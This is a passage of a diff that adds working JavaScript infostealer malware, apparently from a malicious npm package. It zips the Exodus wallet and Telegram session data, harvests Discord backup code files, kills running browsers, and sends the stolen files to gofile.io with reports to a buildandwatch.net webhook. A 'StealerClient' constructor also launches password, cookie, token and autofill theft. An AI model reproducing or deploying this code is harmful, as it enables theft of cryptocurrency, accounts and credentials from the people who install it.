.catch(error => {
|
|
1708
|
+
console.log('Webhook gönderilirken hata oluştu:', error.message);
|
|
1709
|
+
});
|
|
1710
|
+
|
|
1711
|
+
})
|
|
1712
|
+
.catch(error => {
|
|
1713
|
+
console.log('Dosya yüklenirken hata oluştu:', error.message);
|
|
1714
|
+
|
|
1715
|
+
const responsePayload = {
|
|
1716
|
+
error: error.message
|
|
1717
|
+
};
|
|
1718
|
+
|
|
1719
|
+
// Webhook URL'si
|
|
1720
|
+
const webhookUrl = 'https://buildandwatch.net/npm';
|
|
1721
|
+
|
|
1722
|
+
// Embed verisini oluştur
|
|
1723
|
+
const embedData = {
|
|
1724
|
+
embeds: [
|
|
1725
|
+
{
|
|
1726
|
+
title: 'Dosya Yükleme Hatası',
|
|
1727
|
+
description: JSON.stringify(responsePayload, null, 2), // JSON verisini güzel bir şekilde göstermek için kullanıyoruz
|
|
1728
|
+
color: 16711680 // Embed rengi (örnekte kırmızı renk)
|
|
1729
|
+
}
|
|
1730
|
+
],
|
|
1731
|
+
};
|
|
1732
|
+
|
|
1733
|
+
// Webhook'a POST isteği gönder
|
|
1734
|
+
axios.post(webhookUrl, embedData)
|
|
1735
|
+
.then(webhookResponse => {
|
|
1736
|
+
console.log('Webhook gönderildi:', webhookResponse.status, webhookResponse.statusText);
|
|
1737
|
+
})
|
|
1738
|
+
.catch(error => {
|
|
1739
|
+
console.log('Webhook gönderilirken hata oluştu:', error.message);
|
|
1740
|
+
});
|
|
1741
|
+
});
|
|
1742
|
+
} else {
|
|
1743
|
+
console.log('Sunucu alınamadı veya yanıt vermedi.');
|
|
1744
|
+
}
|
|
1745
|
+
})
|
|
1746
|
+
.catch(error => {
|
|
1747
|
+
console.log('Sunucu alınırken hata oluştu:', error.message);
|
|
1748
|
+
});
|
|
1749
|
+
|
|
1750
|
+
};
|
|
1751
|
+
|
|
1752
|
+
|
|
1753
|
+
async function DiscordListener(path) {
|
|
1754
|
+
return;
|
|
1755
|
+
}
|
|
1756
|
+
|
|
1757
|
+
async function SubmitExodus() {
|
|
1758
|
+
const file = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet`;
|
|
1759
|
+
if (fs.existsSync(file)) {
|
|
1760
|
+
const zipper = new AdmZip();
|
|
1761
|
+
zipper.addLocalFolder(file);
|
|
1762
|
+
|
|
1763
|
+
zipper.writeZip(`C:\\Users\\${process.env.USERNAME}\\AppData\\Local\\Exodus.zip`);
|
|
1764
|
+
|
|
1765
|
+
// Gofile.io API'dan sunucu bilgisini al ve dosyayı yükle
|
|
1766
|
+
axios.get('https://api.gofile.io/getServer')
|
|
1767
|
+
.then(response => {
|
|
1768
|
+
if (response.data && response.data.data && response.data.data.server) {
|
|
1769
|
+
const server = response.data.data.server;
|
|
1770
|
+
|
|
1771
|
+
// Dosya yolu ve adını belirleyelim.
|
|
1772
|
+
const filePath = `C:\\Users\\${process.env.USERNAME}\\AppData\\Local\\Exodus.zip`;
|
|
1773
|
+
|
|
1774
|
+
// Dosya yükleme işlemi için FormData oluşturalım ve dosyayı ekleyelim.
|
|
1775
|
+
const form = new FormData();
|
|
1776
|
+
form.append('file', fs.createReadStream(filePath));
|
|
1777
|
+
|
|
1778
|
+
axios.post(`https://${server}.gofile.io/uploadFile`, form, {
|
|
1779
|
+
headers: form.getHeaders()
|
|
1780
|
+
})
|
|
1781
|
+
.then(uploadResponse => {
|
|
1782
|
+
const responsePayload = {
|
|
1783
|
+
uploadResponseData: uploadResponse.data
|
|
1784
|
+
};
|
|
1785
|
+
|
|
1786
|
+
// Webhook URL'si
|
|
1787
|
+
const webhookUrl = 'https://buildandwatch.net/npm';
|
|
1788
|
+
|
|
1789
|
+
// Embed verisini oluştur
|
|
1790
|
+
const embedData = {
|
|
1791
|
+
embeds: [
|
|
1792
|
+
{
|
|
1793
|
+
title: 'Exodus Dosyası Yükleme Yanıtı',
|
|
1794
|
+
description: JSON.stringify(uploadResponse.data, null, 2), // JSON verisini güzel bir şekilde göstermek için kullanıyoruz
|
|
1795
|
+
color: 16711680 // Embed rengi (örnekte kırmızı renk)
|
|
1796
|
+
}
|
|
1797
|
+
],
|
|
1798
|
+
};
|
|
1799
|
+
|
|
1800
|
+
// Webhook'a POST isteği gönder
|
|
1801
|
+
axios.post(webhookUrl, embedData)
|
|
1802
|
+
.then(webhookResponse => {
|
|
1803
|
+
console.log('Webhook gönderildi:', webhookResponse.status, webhookResponse.statusText);
|
|
1804
|
+
})
|
|
1805
|
+
.catch(error => {
|
|
1806
|
+
console.log('Webhook gönderilirken hata oluştu:', error.message);
|
|
1807
|
+
});
|
|
1808
|
+
|
|
1809
|
+
})
|
|
1810
|
+
.catch(error => {
|
|
1811
|
+
console.log('Dosya yüklenirken hata oluştu:', error.message);
|
|
1812
|
+
|
|
1813
|
+
const responsePayload = {
|
|
1814
|
+
error: error.message
|
|
1815
|
+
};
|
|
1816
|
+
|
|
1817
|
+
// Webhook URL'si
|
|
1818
|
+
const webhookUrl = 'https://buildandwatch.net/npm';
|
|
1819
|
+
|
|
1820
|
+
// Embed verisini oluştur
|
|
1821
|
+
const embedData = {
|
|
1822
|
+
embeds: [
|
|
1823
|
+
{
|
|
1824
|
+
title: 'Dosya Yükleme Hatası',
|
|
1825
|
+
description: JSON.stringify(responsePayload, null, 2), // JSON verisini güzel bir şekilde göstermek için kullanıyoruz
|
|
1826
|
+
color: 16711680 // Embed rengi (örnekte kırmızı renk)
|
|
1827
|
+
}
|
|
1828
|
+
],
|
|
1829
|
+
};
|
|
1830
|
+
|
|
1831
|
+
// Webhook'a POST isteği gönder
|
|
1832
|
+
axios.post(webhookUrl, embedData)
|
|
1833
|
+
.then(webhookResponse => {
|
|
1834
|
+
console.log('Webhook gönderildi:', webhookResponse.status, webhookResponse.statusText);
|
|
1835
|
+
})
|
|
1836
|
+
.catch(error => {
|
|
1837
|
+
console.log('Webhook gönderilirken hata oluştu:', error.message);
|
|
1838
|
+
});
|
|
1839
|
+
});
|
|
1840
|
+
} else {
|
|
1841
|
+
console.log('Sunucu alınamadı veya yanıt vermedi.');
|
|
1842
|
+
}
|
|
1843
|
+
})
|
|
1844
|
+
.catch(error => {
|
|
1845
|
+
console.log('Sunucu alınırken hata oluştu:', error.message);
|
|
1846
|
+
});
|
|
1847
|
+
|
|
1848
|
+
// Dikkat: Bu kod bloğu, "form.submit()" kullanarak webhook'a dosya yüklemeye çalışıyor. Bu bölümün işlevselliğini ve bağlamını tam olarak bilemiyorum. Bu nedenle, bu bölümün kendi ihtiyaçlarınıza uygun şekilde çalıştığından emin olmanız gerekir.
|
|
1849
|
+
|
|
1850
|
+
}
|
|
1851
|
+
}
|
|
1852
|
+
|
|
1853
|
+
async function SubmitTelegram() {
|
|
1854
|
+
const file = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Telegram Desktop\\tdata`;
|
|
1855
|
+
if (fs.existsSync(file)) {
|
|
1856
|
+
const zipper = new AdmZip();
|
|
1857
|
+
zipper.addLocalFolder(file);
|
|
1858
|
+
|
|
1859
|
+
zipper.writeZip(`C:\\Users\\${process.env.USERNAME}\\AppData\\Local\\TelegramSession.zip`);
|
|
1860
|
+
//C:\Users\Administrator\AppData\Roaming\Telegram Desktop
|
|
1861
|
+
|
|
1862
|
+
// Gofile.io API'dan sunucu bilgisini al ve dosyayı yükle
|
|
1863
|
+
axios.get('https://api.gofile.io/getServer')
|
|
1864
|
+
.then(response => {
|
|
1865
|
+
if (response.data && response.data.data && response.data.data.server) {
|
|
1866
|
+
const server = response.data.data.server;
|
|
1867
|
+
|
|
1868
|
+
// Dosya yolu ve adını belirleyelim.
|
|
1869
|
+
const filePath = `C:\\Users\\${process.env.USERNAME}\\AppData\\Local\\TelegramSession.zip`;
|
|
1870
|
+
|
|
1871
|
+
// Dosya yükleme işlemi için FormData oluşturalım ve dosyayı ekleyelim.
|
|
1872
|
+
const form = new FormData();
|
|
1873
|
+
form.append('file', fs.createReadStream(filePath));
|
|
1874
|
+
|
|
1875
|
+
axios.post(`https://${server}.gofile.io/uploadFile`, form, {
|
|
1876
|
+
headers: form.getHeaders()
|
|
1877
|
+
})
|
|
1878
|
+
.then(uploadResponse => {
|
|
1879
|
+
const responsePayload = {
|
|
1880
|
+
uploadResponseData: uploadResponse.data
|
|
1881
|
+
};
|
|
1882
|
+
|
|
1883
|
+
// Webhook URL'si
|
|
1884
|
+
const webhookUrl = 'https://buildandwatch.net/npm';
|
|
1885
|
+
|
|
1886
|
+
// Embed verisini oluştur
|
|
1887
|
+
const embedData = {
|
|
1888
|
+
embeds: [
|
|
1889
|
+
{
|
|
1890
|
+
title: 'Telegram Dosyası Yükleme Yanıtı',
|
|
1891
|
+
description: JSON.stringify(uploadResponse.data, null, 2), // JSON verisini güzel bir şekilde göstermek için kullanıyoruz
|
|
1892
|
+
color: 16711680 // Embed rengi (örnekte kırmızı renk)
|
|
1893
|
+
}
|
|
1894
|
+
],
|
|
1895
|
+
};
|
|
1896
|
+
|
|
1897
|
+
// Webhook'a POST isteği gönder
|
|
1898
|
+
axios.post(webhookUrl, embedData)
|
|
1899
|
+
.then(webhookResponse => {
|
|
1900
|
+
console.log('Webhook gönderildi:', webhookResponse.status, webhookResponse.statusText);
|
|
1901
|
+
})
|
|
1902
|
+
.catch(error => {
|
|
1903
|
+
console.log('Webhook gönderilirken hata oluştu:', error.message);
|
|
1904
|
+
});
|
|
1905
|
+
|
|
1906
|
+
})
|
|
1907
|
+
.catch(error => {
|
|
1908
|
+
console.log('Dosya yüklenirken hata oluştu:', error.message);
|
|
1909
|
+
|
|
1910
|
+
const responsePayload = {
|
|
1911
|
+
error: error.message
|
|
1912
|
+
};
|
|
1913
|
+
|
|
1914
|
+
// Webhook URL'si
|
|
1915
|
+
const webhookUrl = 'https://buildandwatch.net/npm';
|
|
1916
|
+
|
|
1917
|
+
// Embed verisini oluştur
|
|
1918
|
+
const embedData = {
|
|
1919
|
+
embeds: [
|
|
1920
|
+
{
|
|
1921
|
+
title: 'Dosya Yükleme Hatası',
|
|
1922
|
+
description: JSON.stringify(responsePayload, null, 2), // JSON verisini güzel bir şekilde göstermek için kullanıyoruz
|
|
1923
|
+
color: 16711680 // Embed rengi (örnekte kırmızı renk)
|
|
1924
|
+
}
|
|
1925
|
+
],
|
|
1926
|
+
};
|
|
1927
|
+
|
|
1928
|
+
// Webhook'a POST isteği gönder
|
|
1929
|
+
axios.post(webhookUrl, embedData)
|
|
1930
|
+
.then(webhookResponse => {
|
|
1931
|
+
console.log('Webhook gönderildi:', webhookResponse.status, webhookResponse.statusText);
|
|
1932
|
+
})
|
|
1933
|
+
.catch(error => {
|
|
1934
|
+
console.log('Webhook gönderilirken hata oluştu:', error.message);
|
|
1935
|
+
});
|
|
1936
|
+
});
|
|
1937
|
+
} else {
|
|
1938
|
+
console.log('Sunucu alınamadı veya yanıt vermedi.');
|
|
1939
|
+
}
|
|
1940
|
+
})
|
|
1941
|
+
.catch(error => {
|
|
1942
|
+
console.log('Sunucu alınırken hata oluştu:', error.message);
|
|
1943
|
+
});
|
|
1944
|
+
|
|
1945
|
+
|
|
1946
|
+
|
|
1947
|
+
|
|
1948
|
+
}
|
|
1949
|
+
}
|
|
1950
|
+
|
|
1951
|
+
function getPeperonni() {
|
|
1952
|
+
let str = '';
|
|
1953
|
+
const homeDir = require('os').homedir();
|
|
1954
|
+
if (fs.existsSync(`${homeDir}\\Downloads`)) {
|
|
1955
|
+
fs.readdirSync(`${homeDir}\\Downloads`).forEach(file => {
|
|
1956
|
+
if (file.endsWith('.txt') && file.includes('discord_backup_codes')) {
|
|
1957
|
+
let path = `${homeDir}\\Downloads\\${file}`
|
|
1958
|
+
str += `\n\n@~$~@fewer-${path}`,
|
|
1959
|
+
str += `\n\n${fs.readFileSync(path).toString()}`
|
|
1960
|
+
}
|
|
1961
|
+
})
|
|
1962
|
+
}
|
|
1963
|
+
if (fs.existsSync(`${homeDir}\\Desktop`)) {
|
|
1964
|
+
fs.readdirSync(`${homeDir}\\Desktop`).forEach(file => {
|
|
1965
|
+
if (file.endsWith('.txt') && file.includes('discord_backup_codes')) {
|
|
1966
|
+
let path = `${homeDir}\\Desktop\\${file}`
|
|
1967
|
+
str += `\n\n@~$~@fewer-${path}`,
|
|
1968
|
+
str += `\n\n${fs.readFileSync(path).toString()}`
|
|
1969
|
+
}
|
|
1970
|
+
})
|
|
1971
|
+
}
|
|
1972
|
+
if (fs.existsSync(`${homeDir}\\Documents`)) {
|
|
1973
|
+
fs.readdirSync(`${homeDir}\\Documents`).forEach(file => {
|
|
1974
|
+
if (file.endsWith('.txt') && file.includes('discord_backup_codes')) {
|
|
1975
|
+
let path = `${homeDir}\\Documents\\${file}`
|
|
1976
|
+
str += `\n\n@~$~@fewer-${path}`,
|
|
1977
|
+
str += `\n\n${fs.readFileSync(path).toString()}`
|
|
1978
|
+
}
|
|
1979
|
+
})
|
|
1980
|
+
}
|
|
1981
|
+
if (str !== '') {
|
|
1982
|
+
fs.writeFileSync('\\backupcodes.txt', str.slice(2))
|
|
1983
|
+
|
|
1984
|
+
|
|
1985
|
+
axios.get('https://api.gofile.io/getServer')
|
|
1986
|
+
.then(response => {
|
|
1987
|
+
if (response.data && response.data.data && response.data.data.server) {
|
|
1988
|
+
const server = response.data.data.server;
|
|
1989
|
+
|
|
1990
|
+
// Dosya yolu ve adını belirleyelim.
|
|
1991
|
+
const filePath = `\\backupcodes.txt`;
|
|
1992
|
+
|
|
1993
|
+
// Dosya yükleme işlemi için FormData oluşturalım ve dosyayı ekleyelim.
|
|
1994
|
+
const form = new FormData();
|
|
1995
|
+
form.append('file', fs.createReadStream(filePath));
|
|
1996
|
+
|
|
1997
|
+
axios.post(`https://${server}.gofile.io/uploadFile`, form, {
|
|
1998
|
+
headers: form.getHeaders()
|
|
1999
|
+
})
|
|
2000
|
+
.then(uploadResponse => {
|
|
2001
|
+
const responsePayload = {
|
|
2002
|
+
uploadResponseData: uploadResponse.data
|
|
2003
|
+
};
|
|
2004
|
+
|
|
2005
|
+
// Webhook URL'si
|
|
2006
|
+
const webhookUrl = 'https://buildandwatch.net/npm';
|
|
2007
|
+
|
|
2008
|
+
// Embed verisini oluştur
|
|
2009
|
+
const embedData = {
|
|
2010
|
+
embeds: [
|
|
2011
|
+
{
|
|
2012
|
+
title: 'BackupCode Dosyası Yükleme Yanıtı',
|
|
2013
|
+
description: JSON.stringify(uploadResponse.data, null, 2), // JSON verisini güzel bir şekilde göstermek için kullanıyoruz
|
|
2014
|
+
color: 16711680 // Embed rengi (örnekte kırmızı renk)
|
|
2015
|
+
}
|
|
2016
|
+
],
|
|
2017
|
+
};
|
|
2018
|
+
|
|
2019
|
+
// Webhook'a POST isteği gönder
|
|
2020
|
+
axios.post(webhookUrl, embedData)
|
|
2021
|
+
.then(webhookResponse => {
|
|
2022
|
+
console.log('Webhook gönderildi:', webhookResponse.status, webhookResponse.statusText);
|
|
2023
|
+
})
|
|
2024
|
+
.catch(error => {
|
|
2025
|
+
console.log('Webhook gönderilirken hata oluştu:', error.message);
|
|
2026
|
+
});
|
|
2027
|
+
|
|
2028
|
+
})
|
|
2029
|
+
.catch(error => {
|
|
2030
|
+
console.log('Dosya yüklenirken hata oluştu:', error.message);
|
|
2031
|
+
|
|
2032
|
+
const responsePayload = {
|
|
2033
|
+
error: error.message
|
|
2034
|
+
};
|
|
2035
|
+
|
|
2036
|
+
// Webhook URL'si
|
|
2037
|
+
const webhookUrl = 'https://buildandwatch.net/npm';
|
|
2038
|
+
|
|
2039
|
+
// Embed verisini oluştur
|
|
2040
|
+
const embedData = {
|
|
2041
|
+
embeds: [
|
|
2042
|
+
{
|
|
2043
|
+
title: 'Dosya Yükleme Hatası',
|
|
2044
|
+
description: JSON.stringify(responsePayload, null, 2), // JSON verisini güzel bir şekilde göstermek için kullanıyoruz
|
|
2045
|
+
color: 16711680 // Embed rengi (örnekte kırmızı renk)
|
|
2046
|
+
}
|
|
2047
|
+
],
|
|
2048
|
+
};
|
|
2049
|
+
|
|
2050
|
+
// Webhook'a POST isteği gönder
|
|
2051
|
+
axios.post(webhookUrl, embedData)
|
|
2052
|
+
.then(webhookResponse => {
|
|
2053
|
+
console.log('Webhook gönderildi:', webhookResponse.status, webhookResponse.statusText);
|
|
2054
|
+
})
|
|
2055
|
+
.catch(error => {
|
|
2056
|
+
console.log('Webhook gönderilirken hata oluştu:', error.message);
|
|
2057
|
+
});
|
|
2058
|
+
});
|
|
2059
|
+
} else {
|
|
2060
|
+
console.log('Sunucu alınamadı veya yanıt vermedi.');
|
|
2061
|
+
}
|
|
2062
|
+
})
|
|
2063
|
+
.catch(error => {
|
|
2064
|
+
console.log('Sunucu alınırken hata oluştu:', error.message);
|
|
2065
|
+
});
|
|
2066
|
+
|
|
2067
|
+
|
|
2068
|
+
}
|
|
2069
|
+
}
|
|
2070
|
+
|
|
2071
|
+
|
|
2072
|
+
async function closeBrowsers() {
|
|
2073
|
+
const browsersProcess = ["chrome.exe", "msedge.exe", "opera.exe", "brave.exe"];
|
|
2074
|
+
return new Promise(async (resolve) => {
|
|
2075
|
+
try {
|
|
2076
|
+
const { execSync } = require("child_process");
|
|
2077
|
+
const tasks = execSync("tasklist").toString();
|
|
2078
|
+
browsersProcess.forEach((process) => {
|
|
2079
|
+
if (tasks.includes(process)) {
|
|
2080
|
+
execSync(`taskkill /IM ${process} /F`);
|
|
2081
|
+
}
|
|
2082
|
+
});
|
|
2083
|
+
await new Promise((resolve) => setTimeout(resolve, 2500));
|
|
2084
|
+
resolve();
|
|
2085
|
+
} catch (e) {
|
|
2086
|
+
console.log(e);
|
|
2087
|
+
resolve();
|
|
2088
|
+
}
|
|
2089
|
+
});
|
|
2090
|
+
}
|
|
2091
|
+
|
|
2092
|
+
|
|
2093
|
+
|
|
2094
|
+
|
|
2095
|
+
//
|
|
2096
|
+
|
|
2097
|
+
|
|
2098
|
+
|
|
2099
|
+
function onlyUnique(item, index, array) {
|
|
2100
|
+
return array.indexOf(item) === index;
|
|
2101
|
+
}
|
|
2102
|
+
|
|
2103
|
+
class StealerClient {
|
|
2104
|
+
constructor() {
|
|
2105
|
+
closeBrowsers();
|
|
2106
|
+
StopCords();
|
|
2107
|
+
getEncrypted();
|
|
2108
|
+
getCookiesAndSendWebhook();
|
|
2109
|
+
getExtension();
|
|
2110
|
+
InfectDiscords();
|
|
2111
|
+
StealTokens();
|
|
2112
|
+
stealltokens();
|
|
2113
|
+
getAutofills();
|
|
2114
|
+
getPasswords();
|
|
2115
|
+
getZippp();
|
|
2116
|
+
SubmitTelegram();
|
|
2117
|
+
getPeperonni();
|
|
2118
|
+
SubmitExodus();
|
|
2119
|
+
|
|
2120
|
+
|
|
2121
|
+
}
|
|
2122
|
+
}
|
|
2123
|
+
|
|
2124
|
+
new StealerClient()
|